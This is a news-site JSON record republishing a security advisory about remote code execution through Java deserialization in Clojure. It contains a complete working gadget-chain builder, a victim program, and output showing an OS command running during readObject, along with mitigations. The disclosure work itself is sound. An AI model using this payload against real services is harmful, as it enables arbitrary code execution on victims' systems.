{"slug": "clojure-deserialization-of-untrusted-data-allows-remote-code-execution", "title": "Clojure: Deserialization of Untrusted Data Allows Remote Code Execution", "summary": "A security advisory reports that Clojure's compiled functions, which implement java.util.Comparator, allow remote code execution through deserialization of untrusted data, reproduced on Clojure 1.10.3, 1.11.1, 1.12.4, 1.12.6, and 1.13.0-alpha11 independent of *read-eval*. The gadget chains a serialized java.util.PriorityQueue whose comparator is clojure.core/apply with elements clojure.core/load-string and a Clojure source string, so a single ObjectInputStream.readObject call executes attacker-supplied code using only classes in clojure.jar and the JDK. The report notes that javap on the 1.12.6 release shows clojure.lang.AFunction still implements java.util.Comparator with the same compare method, meaning the fix does not change that class.", "body_md": "## Repository navigation\n\n# Deserialization of Untrusted Data Allows Remote Code Execution\n\nThis report was submitted with AI assistance\n\n## Package\n\n## Affected versions\n\n## Patched versions\n\n## Description\n\n### Summary\n\nCompiled Clojure functions implement `java.util.Comparator`, and `AFunction.compare` runs the function. A serialized `java.util.PriorityQueue` whose comparator is `clojure.core/apply` and whose elements are `clojure.core/load-string` and a string of Clojure source executes that source during `ObjectInputStream.readObject`, using only classes in `clojure.jar` and the JDK. Reproduced on 1.10.3, 1.11.1, 1.12.4, 1.12.6, and 1.13.0-alpha11, independent of `*read-eval*`.\n\n### Details\n\n### Root cause\n\n`clojure.lang.AFunction`, the base class of every compiled Clojure function, implements `java.util.Comparator`, and its `compare` runs the function before interpreting the result:\n\n```\nsrc/jvm/clojure/lang/AFunction.java:18\n  public abstract class AFunction extends AFn implements IObj, Comparator, Fn, Serializable {\nsrc/jvm/clojure/lang/AFunction.java:52-53\n  public int compare(Object o1, Object o2){\n      Object o = invoke(o1, o2);   // the function executes here\n      ...\n```\n\n`javap` on the 1.12.6 release shows this is unchanged by the fix:\n\n``` bash\n$ javap -cp clojure-1.12.6.jar clojure.lang.AFunction\npublic abstract class clojure.lang.AFunction extends clojure.lang.AFn\n    implements clojure.lang.IObj, java.util.Comparator, clojure.lang.Fn, java.io.Serializable {\n  public int compare(java.lang.Object, java.lang.Object);\n```\n\nTwo functions shipped in `clojure.jar` complete the chain:\n\n``` php\nsrc/clj/clojure/core.clj:663-668    apply       -> (. f (applyTo (seq args)))\nsrc/clj/clojure/core.clj:4136-4144  load-string -> load-reader -> clojure.lang.Compiler.eval\n```\n\n`java.util.PriorityQueue` is serializable, and its `readObject` rebuilds the heap with the comparator:\n\n``` php\njava.util.PriorityQueue.readObject -> heapify -> siftDownUsingComparator -> comparator.compare(e0, e1)\n```\n\nWith `comparator = apply` and `queue = [load-string, [\"<source>\"]]`, the comparison `compare(load-string, [\"<source>\"])` becomes `(apply load-string [\"<source>\"])`, which is `(load-string \"<source>\")`, which hands the source to the compiler.\n\n### Proof of concept\n\nThe gadget is composed entirely of classes shipped in `clojure.jar` (`clojure.lang.AFunction` via `clojure.core/apply` and `clojure.core/load-string`, and `clojure.lang.PersistentVector`) together with `java.util.PriorityQueue` from the JDK. No application code, third-party library, or modified class is required. The victim performs a single `ObjectInputStream.readObject` call.\n\nTwo files are used: a builder that produces the payload, and a victim that deserializes it.\n\n### Builder\n\n``` python\nimport clojure.java.api.Clojure;\nimport clojure.lang.IDeref;\nimport clojure.lang.PersistentVector;\nimport java.io.*;\nimport java.lang.reflect.Field;\nimport java.util.Comparator;\nimport java.util.PriorityQueue;\n\npublic class BuildPayload {\n  static Object fn(String ns, String name) { return ((IDeref) Clojure.var(ns, name)).deref(); }\n  static void setField(Object t, String n, Object v) throws Exception {\n    Field f = t.getClass().getDeclaredField(n); f.setAccessible(true); f.set(t, v);\n  }\n  public static void main(String[] args) throws Exception {\n    // Attacker-supplied source: runs the OS command `id`, records it, returns a number so the\n    // comparator result is well formed and deserialization completes quietly.\n    String code =\n        \"(do (require (quote clojure.java.shell))\"\n      + \"    (spit \\\"/tmp/proof.txt\\\"\"\n      + \"          (str \\\"code execution during ObjectInputStream.readObject | id=\\\"\"\n      + \"               (:out ((resolve (quote clojure.java.shell/sh)) \\\"id\\\")))) 0)\";\n    Object apply      = fn(\"clojure.core\", \"apply\");       // comparator\n    Object loadString = fn(\"clojure.core\", \"load-string\"); // queue element 0\n    Field cache = Class.forName(\"clojure.lang.AFunction\").getField(\"__methodImplCache\");\n    cache.set(apply, null); cache.set(loadString, null);   // not serializable; clear if set\n    PersistentVector arg = PersistentVector.create(new Object[]{ code }); // element 1 -> [\"<source>\"]\n    PriorityQueue pq = new PriorityQueue(2, (Comparator) apply);\n    setField(pq, \"queue\", new Object[]{ loadString, arg }); // set directly so build does not compare\n    setField(pq, \"size\", 2);\n    try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"payload.ser\"))) {\n      oos.writeObject(pq);\n    }\n    System.out.println(\"payload.ser (\" + new File(\"payload.ser\").length() + \" bytes)\");\n  }\n}\n```\n\n### Victim\n\n``` python\nimport java.io.*;\n\npublic class Victim {\n  public static void main(String[] args) throws Exception {\n    String file = args.length > 0 ? args[0] : \"payload.ser\";\n    File proof = new File(\"/tmp/proof.txt\"); proof.delete();\n    System.out.println(\"before readObject: /tmp/proof.txt exists = \" + proof.exists());\n    try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) {\n      ois.readObject();\n    } catch (Throwable t) {\n      System.out.println(\"readObject raised \" + t.getClass().getName() + \" (after the code ran)\");\n    }\n    System.out.println(\"after  readObject: /tmp/proof.txt exists = \" + proof.exists());\n    if (proof.exists())\n      try (BufferedReader r = new BufferedReader(new FileReader(proof))) {\n        System.out.println(\"proof: \" + r.readLine());\n      }\n  }\n}\n```\n\n### Build and run\n\nThe payload is built once. The `--add-opens` flag is required only to populate the queue's backing array by reflection while generating the bytes, and applies only to the builder. A serialization stream written directly, using standard serialization-gadget stream-writing techniques, needs no reflection (not shown here). The victim runs with a stock JVM and no flags.\n\n``` bash\n$ javac -cp \"$(clojure -Spath)\" BuildPayload.java Victim.java\n$ java --add-opens java.base/java.util=ALL-UNNAMED -cp \"$(clojure -Spath):.\" BuildPayload payload.ser (922 bytes)\n```\n\nRun against 1.12.6, the newest stable release:\n\n``` bash\n$ java -cp \"$(clojure -Sdeps '{:deps {org.clojure/clojure {:mvn/version \"1.12.6\"}}}' -Spath):.\" Victim payload.ser\nruntime: 1.12.6 | java: 25.0.2\nbefore readObject: /tmp/proof.txt exists = false\nafter  readObject: /tmp/proof.txt exists = true\nproof: code execution during ObjectInputStream.readObject | id=uid=501(neo) gid=20(staff) groups=20(staff),12(everyone),...\n```\n\nRun against 1.13.0-alpha11, the latest development release:\n\n``` bash\n$ java -cp \"$(clojure -Sdeps '{:deps {org.clojure/clojure {:mvn/version \"1.13.0-alpha11\"}}}' -Spath):.\" Victim payload.ser\nruntime: 1.13.0-alpha11 | java: 25.0.2\nbefore readObject: /tmp/proof.txt exists = false\nafter  readObject: /tmp/proof.txt exists = true\nproof: code execution during ObjectInputStream.readObject | id=uid=501(neo) gid=20(staff) groups=...\n```\n\nBefore deserialization the proof file does not exist. After one `readObject`, it exists and holds the output of the OS command `id`. The deserialized value is an ordinary `PriorityQueue`, so the attack leaves no obvious trace.\n\nThe same payload was reproduced on 1.10.3, 1.11.1, 1.12.4, 1.12.6, and 1.13.0-alpha11.\n\n### Reproduction in a clean environment\n\nThe payload was reproduced in a freshly provisioned, isolated environment to rule out any local configuration. An Ubuntu 26.04 container with no prior Clojure present was given only an official Clojure installation, using the `linux-install.sh` script from `clojure.org/guides/install_clojure` (Clojure CLI 1.12.6.1673), running `org.clojure/clojure` 1.12.6 on OpenJDK 25. Only the payload and the victim were copied in, with an identical SHA-256 on both sides. The stock victim deserialized the payload and the embedded command executed, recording the environment's own identity (`uid=0(root)`), which confirms execution inside the clean environment, on the patched release, through plain `ObjectInputStream.readObject` with no flags and no serialization filter.\n\n### Call stack during `readObject`\n\n```\nclojure.lang.Compiler.eval(Compiler.java:7757)\nclojure.lang.Compiler.load(Compiler.java:8170)\nclojure.core$load_string.invoke(core.clj:4115)\nclojure.core$apply.invokeStatic(core.clj:667)\nclojure.lang.AFunction.compare(AFunction.java:53)\njava.base/java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:712)\njava.base/java.util.PriorityQueue.heapify(PriorityQueue.java:734)\njava.base/java.util.PriorityQueue.readObject(PriorityQueue.java:801)\njava.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:445)\n```\n\nThis stack was captured on a 1.12.x run, where `load-string` appears at `core.clj:4115`. In the 1.13.0-master tree cited above it is defined at `core.clj:4136`. `apply` (`core.clj:667`) and `AFunction.compare` (`AFunction.java:53`) match the cited tree.\n\n### Mitigation\n\nMitigate this via one of the following:\n\n- Do not deserialize data from untrusted sources, this is inherently dangerous.\n- Per the Java guidelines on [deserialization filtering](https://docs.oracle.com/en/java/javase/17/core/serialization-filtering1.html#GUID-55BABE96-3048-4A9F-A7E6-781790FF3480) , configure either a JVM-level or stream-specific[ObjectInputFilter](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/io/ObjectInputFilter.html) to reject the class clojure.lang.AFunction.\n- Use Clojure 1.12.7 which makes Clojure functions throw on serialization and deserialization by default\n\n### Impact\n\nAny application that calls `ObjectInputStream.readObject` on attacker-controlled bytes with `clojure.jar` on the classpath is exposed to remote code execution, shown here by running the OS command `id`. The chain needs only `clojure.jar` and the JDK, with no application classes and no victim-side namespace state. The one precondition is that the application deserializes\n\nattacker-controlled data. It is not stopped by the default (absent) serialization filter, nor by an `ObjectInputFilter` allowlist that admits all Clojure classes (`clojure.**`), because the function objects are `clojure.core$apply` and `clojure.core$load_string` (JVM package `clojure`). Denying `clojure.lang.AFunction` does stop it, as described under Mitigation. It is independent of\n\n`*read-eval*`, because it reaches the compiler through `load-string` rather than the reader. Java deserialization sinks appear in RMI, JMX, object caches and session stores, and message brokers that carry serialized Java objects.", "url": "https://wpnews.pro/news/clojure-deserialization-of-untrusted-data-allows-remote-code-execution", "canonical_source": "https://github.com/clojure/clojure/security/advisories/GHSA-x4c4-68gp-vrhc", "published_at": "2026-11-20 06:41:32+00:00", "updated_at": "2026-11-20 07:14:48.958546+00:00", "lang": "en", "topics": ["artificial-intelligence"], "entities": ["Clojure", "clojure.lang.AFunction", "java.util.PriorityQueue", "clojure.core/apply", "clojure.core/load-string", "ObjectInputStream"], "also_reported_by": [], "takeaway": "Deserializing untrusted Java data with Clojure on the classpath lets a PriorityQueue comparator of clojure.core/apply and clojure.core/load-string execute arbitrary Clojure source during readObject, so avoid ObjectInputStream on untrusted input.", "recommendation": {"advice": "Never deserialize untrusted data with ObjectInputStream when clojure.jar is on the classpath; use allowlist-based filters or a non-Java-serialization format, since AFunction.compare runs the function.", "playbook": "agent-security", "playbook_url": "https://wpnews.pro/playbooks/agent-security"}, "alternates": {"html": "https://wpnews.pro/news/clojure-deserialization-of-untrusted-data-allows-remote-code-execution", "markdown": "https://wpnews.pro/news/clojure-deserialization-of-untrusted-data-allows-remote-code-execution.md", "text": "https://wpnews.pro/news/clojure-deserialization-of-untrusted-data-allows-remote-code-execution.txt", "jsonld": "https://wpnews.pro/news/clojure-deserialization-of-untrusted-data-allows-remote-code-execution.jsonld"}}